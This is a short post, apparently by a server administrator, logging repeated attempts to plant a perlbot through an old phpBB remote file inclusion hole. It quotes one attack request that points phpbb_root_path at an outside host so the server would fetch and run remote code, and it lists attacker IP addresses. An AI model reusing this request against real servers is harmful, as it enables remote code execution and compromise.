Someone is trying very hard to install perlbot on this server, and he's using a real old exploit in phpbb. This is installed, but not active, so all attempts ( GET /modules/Forums/admin/admin_board.php?phpbb_root_path=http://www.cavcav.net/levo.dat? HTTP/1.1" 200 9746 "-" "libwww-perl/5.65" ) just fail, but the CMS keeps gently denying access.

11 attempts at nov-8
63 attempts at nov-9
112 attempts at nov-10, they appear 6 times per hour.

Al attempts from different ip-addresses, as far as I can tell they are compromised PHP-Nuke's:
202.64.87.188
202.75.42.109
202.75.42.33
202.75.48.44
202.83.173.216
202.85.42.140
203.172.175.181
203.211.135.158
210.87.251.107
210.87.251.41
211.23.173.50
219.93.90.33
221.126.147.23
221.127.103.155
60.244.114.2